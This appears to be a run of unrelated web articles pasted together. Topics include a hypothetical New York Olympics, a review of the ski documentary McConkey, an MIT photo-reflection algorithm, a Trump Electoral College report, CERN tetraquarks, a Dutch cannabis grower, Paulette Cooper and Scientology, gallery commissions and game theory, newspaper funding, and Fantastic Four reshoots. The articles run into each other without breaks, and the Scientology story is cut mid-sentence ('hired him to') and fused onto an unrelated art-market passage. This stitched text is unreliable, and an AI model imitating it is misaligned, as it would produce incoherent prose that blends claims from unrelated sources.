let’s face it, be pissed right now. A glut of people would be loitering around the new Olympic Stadium overlooking the Hudson River or Flushing Bay. If you thought J. Crew was going to bring unwanted attention to Williamsburg, imagine what would’ve happened if droves of tourists were going to a new volleyball center on the waterfront. And those of us who live down the street from the Barclays Center would probably have been laughing when Forest City Ratner announced it would not be completed in time to house the gymnastics events. And the security! Can you imagine the security we’d be suffering through (this in a town that searched my bag before The Dark Knight Rises on Saturday)? And, of course, Mitt Romney would be foot-in-mouthing around here too. WNYC has put together a great roundup of the New York City that could-have-been if we were hosting the Olympics right now. It also includes: A velodrome in the Bronx; A new Olympic Village, an apartment building in Long Island City, Queens, across the East River from the United Nations; A marina in Rockway; and A baseball stadium in Staten Island. And that’s not even to mention the fact that no bars restaurants or stores would be allowed to hold events using the word “Olympics” or the famous rings in anyway unless they had paid the hefty official advertising fee to the Olympics committee. So, when you’re walking around over the usual summer crowds over the next two weeks, packed on a sweaty subway train, fighting for a seat at brunch or getting honked at on your bike, take a deep breath and remember how much more stressful New York City would be right now if we were hosting all the athletes in the world. And suddenly you’ll feel more appreciative to all your fellow New Yorkers, however sweaty and pushy they are. Although the possibility of Andrew WK playing the opening instead of the Bushwick Block Party this weekend does sound quite intriguing, because when you Olympics in New York, we like to Olympics hard. UPDATE: Let’s have some fun with this. Put your alternate universe New York City Olympics woes in the comments. Tags 5 CommentsThis moving extreme-sports doc celebrates the life and outrageous stunts of the late Shane McConkey. NEW YORK -- A thrill-stuffed sports doc whose daredevil subject will quickly endear himself even to viewers who've never heard his name, McConkey eulogizes an extreme-sport pioneer who died in 2009 before reaching the age of 40. Though it will play very well on cable and video (the skier was the star of innumerable videos circulated among fans), the film's heights-centric performance footage, much of it shot on spectacular snowy peaks, rewards theatrical viewing and bodes well for specialized theatrical bookings. The son of a Canadian pro skier and one of his students (the couple divorced when Shane was three), Shane McConkey first strapped on skis before his second birthday. He seemed destined for racing, moving from California to Vermont to attend a school known for funneling students to the U.S. Ski Team. But with a personality fixated on juvenile attention-getting pranks (racing down the slopes naked was an enduring favorite), he failed to make the team. When McConkey and some college roommates saw the MTV-like 1988 video The Blizzard of Aahhhs, which featured cut-ups doing off-course stunts (one, Glen Plake, sported a mohawk), he realized he cared less about racing than testing the limits of what could be done on skis. Entering pro mogul races to make what he considered easy money, he devoted his time to increasingly daring stunts, working first in Vail, then in Squaw Valley after he was banned from Vail's slopes. (See above reference to naked skiing.) STORY: Poster for 'McConkey' Debuts Around this point, the film can rely less on McConkey's habit of videotaping his daily life and antics on the slope. Self-shot footage gives the filmmakers colorful evidence of his sense of humor and slacker-with-an-adrenaline-addiction ethos, but their most exciting performance footage comes from the many self-taught filmmakers who featured him in movies with titles like Alpine Rapture, Steep, and Ultimate Rush. Some of those men share directing credit here, weaving their old footage together with interviews in which roommates, family and McConkey's wife Sherry offer a unified portrait of a man who didn't have an "off" switch. The film foreshadows McConkey's death from the start, returning frequently to scenes of him scouting locations on Italy's Dolomite Mountains. But death only starts to overshadow the interviews as speakers recall McConkey's discovery of BASE jumping, the illegal sport in which parachuters leap off buildings, bridges and the like. Using vertigo-inducing video shot with helmet-mounted cameras, the film captures some of the rush of this sport, making it easy to understand how McConkey became addicted -- undertaking hundreds of jumps, then branching out to stunts (inspired by The Spy Who Loved Me) in which he would ski off a cliff, dump his skis, and use a chute to reach the ground. Though he made many successful ski-BASE jumps (having consulted with Spy stuntman Rick Sylvester), that was what would kill him in Italy. The film uses footage from that day as dramatically as it can without becoming morbid, capturing the moment of his death not in footage of the fall (McConkey couldn't release his skis in time to deploy his parachute) but in video of the cameraman who shot it. Even here, though, they honor the athlete's sensibility by including thrilling (if near-sickening) footage shot on his helmet camera as he approached the cliff. Production Companies: Matchstick Productions, Red Bull Media House Directors-Screenwriters: Rob Bruce, Scott Gaffney, Murray Wais, Steve Winter, David Zieff Producers: Murray Wais, Steve Winter Executive producers: Scott Bradfield, Charlie Rosene, Claude Merkel, Sherry McConkey Editor: David Zieff, Scott Gaffney Sales: Ben Bryan, Red Bull Media House No rating, 109 minutesWe have all tried to take a picture through a window of a gorgeous view, only to have our own mug reflected back in the photo. Now researchers from the Massachusetts Institute of Technology have a possible fix for this. Using the fact that photos taken through double-pane glass windows nearly always contain two almost identical, slightly shifted reflections, the team, led by YiChang Shih, have developed an algorithm that can automatically remove the unwelcome "ghosted" element from a digital photo. See also: Enlight wants to be a Swiss Army knife for mobile photo editing The algorithm, building on work done by Daniel Zoran and Yair Weiss of the Hebrew University of Jerusalem, divides images into 8-by-8 blocks of pixels and determines each pixel's correlation with another. Their technique is able to identify which minuscule sections of the photo are part of the reflection and which are the actual image seen behind the glass. Image: Courtesy of the researchers “The ideas here can progress into routine photography, if the algorithm is further robustified and becomes part of toolboxes used in digital photography,” Yoav Schechner, a professor of electrical engineering at Israel’s Technion, said in a statement from MIT. He also suggested that with refinement, the software could help robot vision determine whether it is seeing a reflection or through glass. So, this technology is a mixed bag: It could help your Instagram game, but it could also create peeping-tom robots.President Trump told congressional leaders he was considering getting rid of the Electoral College, only to be talked out of it by Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office \| Center-right group says Green New Deal could cost trillion \| Dire warnings from new climate studies MORE (R-Ky.), the Wall Street Journal reported Friday. During a meeting with congressional leadership this week, Trump said he was interested in using a national popular vote to determine the presidency, sources who attended the meting told the Journal. McConnell urged Trump not to do so, pointing out the lengthy recount in Florida in the 2000 presidential election and noting that a national recount would take even longer. Trump eventually agreed and decided not to pursue the change, the report said. ADVERTISEMENT Trump won the Electoral College in November but lost the popular vote to Democrat Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE by nearly 3 million votes. He has since insisted without evidence that millions of non-citizens voted against him illegally. Trump is expected to sign an executive order launching a full investigation of U.S. voter fraud in the election. On Wednesday morning, Trump called for a federal probe of mass voter fraud on Twitter. “I will be asking for a major investigation into VOTER FRAUD, including those registered to vote in two states, those who are illegal and even, those registered to vote who are dead (and many for a long time),” he tweeted. “Depending on results, we will strengthen up voting procedures!”Physicists on CERN’s LHCb collaboration say they’ve observed three new exotic particles – X(4274), X(4500) and X(4700) – and also confirmed the existence of a fourth one, X(4140). According to the scientists, each of these particles contains two quarks and two antiquarks. The quark model, proposed in 1964 by Murray Gell-Mann and George Zweig, is the most valid classification scheme of hadrons that has been found so far. In this model, hadrons are classified according to their quark content. However, it has been for a long-held mystery that all observed hadrons were formed either by a pair of quark-antiquark or by three quarks only. But, in the last decade physicists have found evidence of the existence of particles formed by more than three quarks. For example, in 2009 physicists working on the Collider Detector at Fermilab (CDF) experimental collaboration found one of these – the X(4140) tetraquark particle. This result was then confirmed later by a new CDF analysis, and by CERN’s CMS collaboration and Fermilab’s DØ experiment. Nevertheless, until now, the X(4140) quantum numbers were not fully determined, and this ambiguity exposed the theoretical explanation to uncertainty. The LHCb (standing for ‘Large Hadron Collider beauty’) physicists has determined the X(4140) quantum numbers with high precision. This result has a large impact on the possible theoretical interpretations, and indeed it excludes some of the previously proposed theories on its nature. The observation of the X(4274), X(4500) and X(4700) tetraquark particles has been announced for the first time. Even though X(4140), X(4274), X(4500) and X(4700) contain the same quark composition, they each have a unique internal structure, mass and their own sets of quantum numbers. The interest in these four states is also that they are the only known exotic candidates which do not contain u and d quarks, which are the lightest quarks and those which human beings and the matter around us are made of. As such, they may be more tightly bound than other exotic particles. The results are based on a detailed analysis of the decay of a B+ meson into mesons called J/ψ, φ and K+, where the new particles appear as intermediate ones decaying to a pair of J/ψ and φ mesons. To perform this research, the LHCb scientists used the full set of data collected during the first LHC run, from 2010 to 2012. The large signal yield efficiently collected with the LHCb detector has allowed the scientists to discover those three new particles that were peaking out from the data. “The LHCb analysis yields a clear observation of the X(4140), and indicates a particle with similar mass but larger width to the earlier measurements from CDF, CMS and DØ,” the scientists said. “It is important to emphasize that simple ‘bump-hunting’ in the mass spectra is not sufficient to learn about the nature of such complicated hadronic structures. Rather, a multidimensional full amplitude analysis is crucial for data interpretation, and has allowed LHCb to characterize fully the particles, and to determine their quantum numbers,” they explained. The researchers discussed their results in a pair of papers (paper1 & paper2) submitted to the journal Physical Review Letters and the journal Physical Review D. _____ R. Aaij et al (LHCb collaboration). 2016. Observation of J/ψφ structures consistent with exotic states from amplitude analysis of B+→J/ψφK+ decays. Physical Review Letters, submitted for publication; arXiv: 1606.07895 R. Aaij et al (LHCb collaboration). 2016. Amplitude analysis of B+→J/ψφK+ decays. Physical Review D, submitted for publication; arXiv: 1606.07898He started selling hash from a derelict farm in Friesland, the Netherland’s most northern and stubborn province, in 1970. Almost half a century later, Doede de Jong is the country’s best known cannabis farmer — whose work is still illegal. Doede de Jong, 67, is a proud man with strong principles, a genuine love of plants, and a great sense of humor. He doesn’t mind being called an old hippie. To him, the core values of the sixties—freedom, tolerance, and the right to self-determination—are worth standing up for more than ever. Back in the seventies, De Jong used to sell the hash he bought on regular trips to Amsterdam at cost, without any profit margin. One of his friends eventually convinced him to at least add ten cents to the price of every gram to cover his bus and train tickets. He wasn’t in it for the money then, and that never changed. Doede de Jong “Abolish this damned and disrespectful ban on cannabis!” When, in the early eighties, people started growing potent, mostly American cannabis strains on Dutch soil, De Jong quickly joined in. He has loved plants and gardening since his childhood, and growing his own cannabis combines his two biggest passions. As early as 1991, De Jong was featured in the local Frisian newspaper, the Leeuwarder Courant, talking openly about his growing activities. He berated the paradox that still characterizes the Dutch cannabis policy: coffeeshops can sell cannabis, but nobody is allowed to grow it. De Jong became a national celebrity after a 2011 documentary called Nederwiet (Dutch Weed) aired on public TV. It shows the grower tending to his plants in a self-built greenhouse, manicuring the crop with one of his sons and explaining how he sells part of it to a coffeeshop in the nearby city of Leeuwarden. In the most memorable scene, De Jong passionately defends his case in court, wearing a T-shirt with the Frisian flag and the text “Baas in eigen brein” (“Boss in your own brain”). He repeatedly questions the attorney general how it can be possible that cannabis is sold in 13 coffeeshops in the city of Leeuwarden. Where does the cannabis come from? He urges the court to break the spell by not sentencing him: “For what is the advantage to sentence me? What is the gain? Which interests are served? There aren’t any. The coffeeshop will have to find another grower; he might go to someone with a machine gun and hand grenades. We do not want this, do we? There must be someone who is willing to stand firm and keep his back straight. Someone who says: We cannot work with this hypocritical justice. This law is at odds with reality. Because the reality is that cannabis is sold. And if the rules are at odds with reality, we must adapt the rules to reality, not the other way round.” Notwithstanding De Jong’s eloquent plea, judges found him guilty. But the tables turned in October 2015, when the Leeuwarden court refused to sentence him to any punishment. In its decision, the court stressed the ideological aspect of the case, honoring De Jong’s lifelong battle for legalization. A happy ending? Not yet. In a separate civil case, the Dutch Justice Ministry has issued De Jong a fine of more than €220,000 ($247,000). The matter is still awaiting appeal. If De Jong really has to pay this amount, he will have to sell the farm he and his wife Kicky so lovingly restored after moving there in 1970. They effectively will be ruined. De Jong stays optimistic and devotes his time to writing op-eds, working with the Dutch legalization organization VOC and tending to his garden in Appelscha. In his most recent article, published in the Leeuwarder Courant, he writes:“That bitch Paulette Cooper!” Those were the choice words belted out by Scientology founder L. Ron Hubbard back in 1974 as he pounded on his desk while playing Commodore aboard his yacht, the Apollo. Cooper, one of the earliest writers to look into the Church of Scientology’s inner workings, has long maintained that Hubbard (or LRH, as he’s often referred to) had it out for her. Just tally up the 19 lawsuits slapped against Cooper by the Church, the 40 lawyers she retained, and the 50 days of depositions—including one reportedly involving a Scientology lawyer who pressed Cooper for a stool sample. (Cooper quipped back: “If you want one, you’ll get it—on your head.”) This story of Hubbard’s maritime rage is an incredible nugget in the middle of Tony Ortega’s new book, The Unbreakable Miss Lovely, which lands on bookstands this week. Ortega managed to unearth the anecdote after poring over a deposition of Tonja Burden, who was only 15 at the time. Burden was one of Hubbard’s "Messengers,” young females tasked with lighting his cigarettes, prepping his showers, and laundering his shirts “13 times to get any smell out of them.” LRH apparently had a nasty aversion to flowery scents, especially “rose perfume,” the book reveals. The book’s title plays off Cooper’s supposed code name within Scientology, “Miss Lovely,” which she gained “because she was so beautiful,” Ortega told me. Other citizens have reported being harassed and bullied by Scientology, but nothing to the extent of Paulette Cooper’s story. She’s the first one many people think of when it comes to Scientology’s alleged victims. The book is a wallop of a read and Cooper is presented as sympathetic, tragic, and, for a brief bit, unreliable, as she allegedly plots against the Church in her own way. But Ortega also makes some incredible claims that seem to rely upon deep reportage, tracking down people Ortega identifies as long-lost Scientologists and weaving their testimonials into a gripping narrative. A Church of Scientology spokeswoman, in a statement, emphatically denounced the book and called Ortega “a parasite” for using “bigotry and false allegations about the Church of Scientology to create a cottage industry of hate.” The statement went on to suggest that out of the many claims in the book, none of them dignify a thorough response. “Despite Tony Ortega’s desperate need for publicity, we see no reason to revisit the subject or respond to debunked falsehoods concerning events three to four decades old involving individuals who have long since been expelled,” the statement read. The Church added that it settled all claims with Cooper in 1985. “It is a matter of public record that the current Church management disbanded the rogue unit with which she was having trouble long before then. The Church has neither heard from nor been involved in anything related to Ms. Cooper for 30 years,” according to a Church spokeswoman. Out of all the writers who have gone head to head with Scientology, Cooper’s story is perhaps the most incredible. She was dashing and easily made hearts skip a few beats during her early years in Manhattan, where she lived and plied her craft as an independent journalist. Cooper says she remembers how Scientology came knocking at her front door on June 6, 1968. It was the day after Robert F. Kennedy had been assassinated and Cooper was a twenty-something advertising copywriter trying to cut her teeth as a magazine stringer in New York City. The Brandeis psych grad, who spent some time at Harvard studying mental health patients, says she received a former boss at her Manhattan apartment. Cooper recounts in her own book how the man began singing Scientology’s praises and how he’d been doling out wads of charity cash to random homeless people. Then, Cooper says, he told her he was God, the lord and savior, and that "God has decided to rape you.” Cooper managed to fend him off. But her journalist instincts kicked in and she enrolled in classes at the Scientology Org in Midtown Manhattan under a pseudonym. She says she only lasted a few days before higher-ups in the organization's Ethics department were onto her. But Cooper says she remembers engaging in staring contests where she hallucinated—and says she was subjected to “bullbaiting,” wherein Scientologists allegedly chastised her for no reason and made propositions like, “You know what I’m going to do to you," supposedly to see if she would break. Cooper ultimately began cobbling together her intel on this new religion and turned it into a feature story for the magazine Queen. Before long, Cooper was living every day in fear, as she claims she was fielding death threats. She was convinced she was being followed and that her phone line was tapped. In 1977, when the FBI raided the Los Angeles and D.C. offices of the Church, they found scores of documents that they used to send several high-ranking Scientologists to the slammer. These same documents, Ortega's book says, also indicated that the Church had been monitoring Cooper’s movements since 1971 and ordered some members to lift pages from her diary, according to Ortega’s book. The group seemed particularly interested in the pages that catalogued teenage angst aimed toward her parents, the book says, or the ones that included sexually-charged thoughts. Ortega’s book says that, in an attempt to frame Cooper, Church members typed up two anonymous bomb threats and sent them to the Church of Scientology headquarters in New York with Cooper’s fingerprints on them. Cooper maintains the Church got her fingerprints by getting a stranger to goad her into signing a petition to help the activist Cesar Chavez. Soon, Cooper was hauled in front of a grand jury in Manhattan to answer for the terroristic threats and almost faced a trial until her attorneys used Cooper’s passing of a Q&A test, while on sodium pentothal, to get the charges chucked. In the course of his research, Ortega says he managed to track down FBI Special Agent Christine Hansen. She was one of the few women at the bureau in the 1970s. This is apparently the first time anybody has managed to interview the former special agent. Because of her tenacity and eagle eye, on June 11, 1976, Hansen says she caught a Scientology member named Gerald Bennett Wolfe in the act of cribbing files from the IRS, the Department of Justice, and a dozen other government offices. He ended up serving five years in prison. His colleague Michael Meisner ultimately flipped for the Feds. The reported effort to steal the files from government agencies and law firms was known as the “Snow White Program,” Hansen told Ortega. Ortega also dives into “Operation Freakout,” the Church’s apparent attempt to target Cooper and frame her as insane, to get her committed. Ortega’s book claims that a Scientology spy approached Cooper at a popular NYC watering hole and asked her to read a bad joke off of a piece of paper. Her fingerprints on the joke stationary were used, Ortega says, in threatening letters sent to then-Secretary of State Henry Kissinger. The Church allegedly enlisted a woman who sounded like Cooper and would be tasked with calling Kissinger’s office to make phone threats, as well as another woman cast to dress like Cooper and to play her doppleganger. According to Ortega’s account of the documents seized in the FBI raid, Scientologists had instructed, “Several different outfits should have been obtained by [Paulette’s double] so that when the caper goes down, she can immediately change into the color or type of outfit that Paulette has on.” Then, the book says, calls would be made to Arab embassies with the Cooper lookalike claiming: “I’m going to bomb you bastards!” After the raids, Ortega says, "Operation Freakout" was never fully completed. Still, even after Cooper appeared on 60 Minutes to talk about Scientology, Ortega’s book suggests that several plots continued to target “Miss Lovely.” In one of them, a supposed friend called Jerry Levin, who had come into Cooper’s life suddenly and mysteriously, allegedly told Cooper to jump from a 33-story ledge above a rooftop swimming pool. “Why on earth would Jerry want me to climb that ledge,” Cooper told The Daily Beast. “He was up there, it would have taken the slightest push and that would have been in it.” According to Cooper, Levin was a secret Scientologist who had befriended her and lived with her during some of the lowest months of her life. Not long after Levin moved out, and as Cooper was awaiting trial for making bomb threats (which she says were actually made by her Scientology impersonators), she says the only thing that saved her from a suicide-by-Valium attempt was a friend’s phone call wishing her a happy birthday. By 1980, Cooper had decided to fight back against the Church. That was the year, the book says, that she met a private investigator named Richard Bast. (He passed away in 2001.) Cooper says Bast told her he was working for a rich Swissman who had lost his daughter to suicide. The girl had been a Scientologist and after her death, Bast said, the man had hired him to
artists. Especially given the fact that one of the most renowned artists I represent only wants to have 50 percent, it is not done to ask less of young, relatively unknown artists.” Commissions higher than 50 percent are considered “unethical,” however. Dealers who do ask more than this percentage violate a moral code, since they take advantage of the multitude of artists who are desperately looking for a gallery to represent them. Commissions lower than 50 percent are also legitimated in moral terms: “If paintings are starting to sell for 150,000 dollars, why would I take 75,000? I don’t really deserve it,” as a New York dealer explained. Velthuis at p. 139, citations omitted. The 50 percent “ethical” line is interesting. Many artists just starting out have little bargaining power, and would settle for a commission higher than 50 percent if it were offered. It is reminiscent of the results of the Ultimatum Game (in which one participant must divide a sum between himself and a recipient, and the recipient can then accept or refuse the offer – and if he refuses, neither party gets anything) and the Dictator Game (in which one participant divides a sum and the recipient has no power to refuse). In both cases, participants commonly offer much more than zero. In the Ultimatum Game case, recipients commonly refuse offers of less than 50 percent. In the Dictator Game case, participants are particularly likely to offer 50 percent when they are not anonymous – that is, if their reputation is at stake, as with the gallerists. Presumably the young artists have little bargaining power; should one refuse, another will gladly take his place. The gallerist’s situation is probably more comparable to the Dictator Game. Humans have a taste for “altruistic punishment” – punishing unfair behavior in others, even at cost to themselves. Retribution is a major motive in criminal justice; capital punishment may have little deterrent effect, but many governments impose it at great cost nonetheless, indicating that deterrence (and even incapacitation) is not the only motivation being served by criminal punishment. Since we are aware that humans have a taste for altruistic punishment, we guide our actions with this in mind. We act “fairly” (e.g. in the Dictator Game) even when it is not in our pecuniary interests to do so, in order to be perceived as fair and to avoid incurring reputational costs – and to avoid punishment, even when it is not available to the other party in the particular game we are playing. Self-Modification There was an interesting discussion on LessWrong a few years ago, in which Yvain suggested a way to minimize harm: if someone appears to be offended, and in pain, as a result of your actions, immediately cease those actions, even if you can’t understand why the person would be in pain. Vladimir_M countered that, were this to be come a norm, it would create an incentive to self-modify in order to feel pain at the slightest transgression of one’s beliefs. fburnaby sums it up: reducing the offense I cause directly increases net utility (Yvain) reducing the offense I cause creates a world with stronger incentives for offense-taking, which is likely to substantially decrease net utility in the long-term (Vladmir_M) Self-modification is always a risk in game theory situations. I think it’s interesting that people have already self-modified in this way: being willing to incur costs to oneself in order to promote fairness, from the emotion of “spite” that motivates altruistic punishment. Kevin Simler has written about crying as a particular human behavior that acts as a costly signal of pain, and invites offers of friendship “at a discount.” Evolution has given us ways to signal our pain in a costly manner. But self-modifying to feel pain more easily would usually incur reputational costs. We have terms like “crybaby,” “whiner,” and “drama queen” precisely because we recognize that some people may be incentivized to express an excessive amount of pain. However, those with high social status or social value may be particularly likely to over-express pain, as they are less likely to be mocked or ostracized for doing it. This is the “cry-bully” phenomenon: those with little fear of social ostracism or judgment may express excessive pain or offense against those less powerful (e.g. the outgroup), and get away with it without reputational costs. Two observations, in sum: A social norm of giving in to any expression of offense or pain will ultimately result in more offense and pain. Those with high social status will express offense and pain at a lower threshold, often causing harm to those of lower social status. AdvertisementsIn some ways, this is a very good time for the news media. Sure, almost nobody is turning a particular profit, and sure most of those companies that do make money share virtually none of it with writers and content creators, but media’s fortunes are looking up in one respect: importance. Never before has the public been more acutely or more vocally aware of the importance of a strong news media, of sober and insightful probing into government, society, and the world. Yet this understanding has brought with it derision for the fact that the modern news media is incapable of truly meeting those goals. These days, the western world is dominated by people who actually believe that the decay of the fourth estate is anyone’s fault but their own. There’s a self-serving use of recursive chicken-egg logic on this issue, the rather incoherent argument that lowered standards in reporting both cause and are caused by lowered revenue. This ignores the fact that journalism tanked economically due to technological progress, not declining consumer satisfaction – lowering quality no doubt enhanced the effect and hastened the decline of the newspaper, but this is not some post-modern quandary lost to the sands of time. Journalism has been struck a series of mortal blows by technology and consumer attitudes, and we are all just watching it die, apathetic, standing with folded arms. This is near-suicidal stubbornness based on fuzzy, or entirely absent, thinking. The fact is that, when setting up our Western nations, we generally identified some key pillars of society: law enforcement, public education, emergency services, etc. We put the maintenance of those pillars under the control of the government via taxes, because that was easier than asking every citizen to specifically shell out for school. More to the point, on some level we knew those donations would be unlikely to actually come in without coercion, even from the wild-eyed windbags who have the most to say about the importance of teachers. Nationalized news organizations can be very strong, but they could never themselves provide all the oversight we require. The one and only pillar that could not, by definition, be put under the umbrella of government was the media. Being as it is a check on government power, the media (in particular the news media) could not be subject to that power in any way. Reporting was the one crucial civil service the public had to take care of itself, and when given the opportunity the public abandoned that obligation without a moment’s thought. Indeed, not only will people loudly refuse to pay for news content, they’ll go on to actually brag about the effectiveness of their ad-blocking software in denying journalists even the chance of compensation for their important work. We have to remember that when we pay to read the news, we are not paying for the stories in that paper or broadcast, nor even for those the day after. We’re paying for the news that will exist in a year, two years, five years. We’re paying for a situation in which reporters have the luxury of doing protracted research into topics that might not produce a Facebook-rending viral hit. We’re paying so that a reporter can spend several hours per day learning a beat, collecting knowledge that might not end up being crucial to our democracy for months or even years – but if we don’t pay someone to know such things, that knowledge fundamentally does not exist. There’s a valid argument to be made that the market simply needs to figure out how to make free internet journalism much more profitable, but that’s only internally consistent if society can meaningfully survive the quality-trough such a tough-love capitalist approach will create. It also assumes that the eventual solution will, thanks to some as-yet-unnamed physical force, naturally produce top-quality journalism once again – but that’s not even close to assured. The fact is that advertising alone cannot generate enough revenue to perform the sort of robust oversight the public claims to want – that’s been true for a long time, and it really isn’t changing. Still think ads can save your democracy for you? (Mark Perry, University of Michigan) Nobody wants to deal with the implications of their supposed belief in the news media. Liberals argue vehemently that their money should be taken forcibly by the government to support important social programs, but balk at the idea of providing that same support voluntarily and of their own accord. Conservatives harp never-endingly on about the virtues of the free market but refuse to take this opportunity to prove that free markets can lead to social justice by freely giving their own money to the cause. This is ultimately a very easy problem to fix but it continues unabated because, on some level, the public doesn’t think it should have to fix this problem. There seems to be an idea that withholding funding for publications that struggle to provide such high-cost, low-reward content will somehow incentivize more in-depth journalism – which is based on the rather hilarious idea that the public rewards quality with monetary support. As much as the media must collectively cop to having declined in quality over the past few decades, the public must also cop to not actually being nearly as interested in erudite journalism as it pretends to be. This was content that was hard to justify even when the media could afford it; the fact that such journalism still exists at all, to any extent, speaks to the thankless work ethic of the writers and publishers who take their responsibilities seriously. Much as the Kinsey report revealed the public’s love for cheap and dirty sex, Google Analytics has revealed our basic love of cheap and dirty writing. The pressure of the public’s genuine proclivities creates a situation where over-educated and under-trained young writers are saddled with two, four, six assignments in a given shift. This headline-chasing public then expresses shock that much of the content they receive is shallow. Imagine how this story might have gone if neither of these men could afford a car. Think about something like the Watergate investigation, which took months of full-time work by experienced reporters who were, for that period, producing far less than their peak monetary value per day. They did this without even the guarantee of a story at the end – that’s virtually unimaginable in the modern media climate. If another Watergate occurred tomorrow, we would have virtually no way of detecting it, and that means that another Watergate will happen tomorrow. And the day after. And the day after. And that’s our fault. A lot of the core institutions of public oversight are being eroded today, the checks and balances going out of whack. The media is one of the only public weapons that can’t be undermined by a lopsided court or corrupt congress — so long as free speech is protected. More to the point, this is one of the only times that the public can voluntarily strengthen a social pillar directly — there are no gatekeepers controlling the form or volume of that support. Just buy a newspaper, or subscribe to a weekly news magazine, or order a news channel to donate to your very own anti-corruption Super-PAC – they’ll even throw in a newspaper, or magazine subscription, or news channel along with that generous donation to the future of democracy.The fact that Fantastic Four had a disastrous shoot followed by laborious reshoots may be the worst kept Hollywood secret of all time. Even if director Josh Trank hadn’t publicly displayed his dissatisfaction with the finished movie, just about anyone who sat through this mess could tell something was wrong just from the finished product. They’d know it from the inconsistent pacing, the main characters who contribute nothing to the movie, and a climax that feels like it was cobbled together by a completely different creative team. Hell, they’d know it from Kate Mara ’s terrible reshoot wig, which sticks out like, well, a bad wig. Trank claims he has a completely different cut of this movie and we believe him. We don’t know that his cut would be any better, but it has to exist. The trailers prove it. The press leading up to the film’s release proves it. Big scenes that have been featured in every coming attraction for FF aren’t in the final movie. Characters have undergone radical changes, gaining new identities and names that are completely different than those that were announced. We don’t know the full story of what went down behind-the-scenes at Fantastic Four, but we can sort through the wreckage and try to catalog what we do know. There is probably even more that we don’t know yet too. Ben Grimm’s Big Action Scene Let’s start with the big one. The big action beat present in almost every single trailer and TV spot involves Ben Grimm being dropped from an airplane... 20th Century Fox ...and landing right on a Humvee. And since he’s an indestructible rock man, he’s totally unfazed, getting this badass hero shot. 20th Century Fox This shot, presumably from the same scene, shows him walking toward the camera while bullets harmlessly bounce off his rocky facade. 20th Century Fox As anyone who has seen the movie can attest, this scene is nowhere to be found in the finished cut. This is surprising for a number of reasons. First of all, the whole scene looks very expensive and was probably a pain in the ass to create. Second, it’s a big action beat in a movie that takes place almost entirely in under-lit labs and corridors. This movie needed another action scene. It’s easy to see where this scene was supposed to go. Midway through the movie, Reed Richards flees the facility where he and his friends are being held captive. We then jump forward one year and see that Ben has been doing the military’s dirty work for some time. We catch brief glimpses of the Thing in action, tearing apart tanks and wreaking havoc, but it’s seen briefly on television monitors. At some point, we were probably supposed to get a first-hand look at this action but, for reasons unknown, the scene hit the cutting-room floor. And it’s a shame – that’s the exact stretch where the movie is crying out for an action beat. Wherefore Art Thou, Mole Man? In the finished film, Tim Blake Nelson plays “Dr. Allen,” Dr. Storm’s sleazy boss who can’t wait to hand over the Fantastic Four to the government and exploit their abilities for their “ military applications.” However, Nelson wasn’t always playing this character. At some point between when he signed on to the film and its release, he got a totally new identity. He was originally supposed to play Harvey Elder, the character who ultimately becomes Mole Man, an early Fantastic Four villain. Nelson himself confirmed this when he was asked about the rumors floating around the internet concerning him joining the film: Yes, it's pretty much closed, with me playing Harvey Elder, who becomes the Mole Man. Without going into detail, the script has as much soul as it does action, and it has a lot of action. Other reports suggested that the first film would establish Elder so he could go on to become the main villain in the sequel. This isn’t the first time Nelson played a watered-down version of a Marvel villain who would never got a second shot on the big screen. In The Incredible Hulk, he played Samuel Sterns, aka the Leader, one of Bruce Banner’s most powerful foes. That film even went as far as letting us see him begin his gamma-induced transformation into a psychic baddie. The same can’t be said for Fantastic Four, which seems to have changed his name in post-production before adding a scene where his head gets Scanners -ed by Victor Von Doom. The Fantasticar Early in the movie, Reed Richards’ teacher mockingly asks the young genius about the flying car he’s working on. In the finished movie, it feels like a one-off joke – here’s a kid so ambitious and nutty that he put aside his plans for a flying car so he could build a teleportation device! But what if there was more to this. What if this line was originally there to set up Reed Richards building an actual flying car? Ahem: The Fantasticar may have a goofy name, but it’s a mainstay in the comic book world and the team’s chief mode of transportation. A screenplay that wasn’t hastily rewritten for a film that was being hastily reshot could have humorously laid the groundwork for Reed to build a flying car in time for the film’s climax... which was presumably hastily reconceived and no longer required the services of a flying automobile. When Doom Was Not Doom Early in production, Toby Kebbell got Fantastic Four fans all over the internet annoyed when he revealed that his take on Doctor Doom would be significantly different than the traditional take on the character. Here’s the quote: He’s Victor Domashev, not Victor Von Doom in our story. And I’m sure I’ll be sent to jail for telling you that. The Doom in ours — I’m a programmer. Very anti-social programmer. And on blogging sites I’m “Doom”. To be fair, he is anti-social in the movie, but he’s depicted as being a Reed Richards-esque super-scientist, not a programmer. And there are definitely no blogging sites and he certainly doesn’t go by Doom on those blogging sites. In the final cut, he’s reverted to his traditional name: Victor Von Doom. However, careful audiences will note that the name “Von Doom” is only spoken aloud by offscreen characters, which suggests that the name was dubbed after the fact. These changes suggest a hasty and sloppy attempt to revert this hugely reimagined Doom to his more traditional comic book counterpart, with disastrous results. If “Victor Domashev” was even remotely interesting at one point, these cuts and changes have removed every aspect of his personality. All that’s left is a one-dimensional psycho that still doesn’t look or act like the traditional Doctor Doom. There also appears to be a key scene missing. When Victor returns from Planet Zero after a year of isolation, his mutilated body is strapped to a table and he shares a conversation with Dr. Allen. In many of the trailers, there is an alternate version of this scene where Reed pays him a visit. In the first trailer, they have this exchange: Be ready for what's coming. What is coming? The answers. In other trailers, the exchange has been modified. Be ready for what's coming. What is coming? Doom. This dialogue could have been pulled from elsewhere in the movie and laid over this scene strictly for the trailer. But either way, Reed and Victor don’t have a proper conversation at this point in the movie. This scene no longer exists. The film is too busy barreling toward its lousy climax to care about building proper character relationships anymore. Johnny Storm Probably Had More to Do The Human Torch has the most visually astonishing super-powers of the team and he’s played by the charming Michael B. Jordan, so naturally he gets to do next-to-nothing in the actual movie. This version of Johnny Storm has been stripped to the bone. You could remove him from the movie and nothing would change. If some of the trailers are any indication, there was a point where his trademark wiseass humor was intact. Take this line, which doesn’t seem to be present in the movie: I'm going to need a heat resistant workshop and a big-ass sunroof. And then there’s this scene from the trailers, which shows Johnny hard at work on his car. This scene probably existed to establish that he’s a resourceful gearhead. In the final movie, characters tell us that he’s good at fixing things, so there’s apparently no 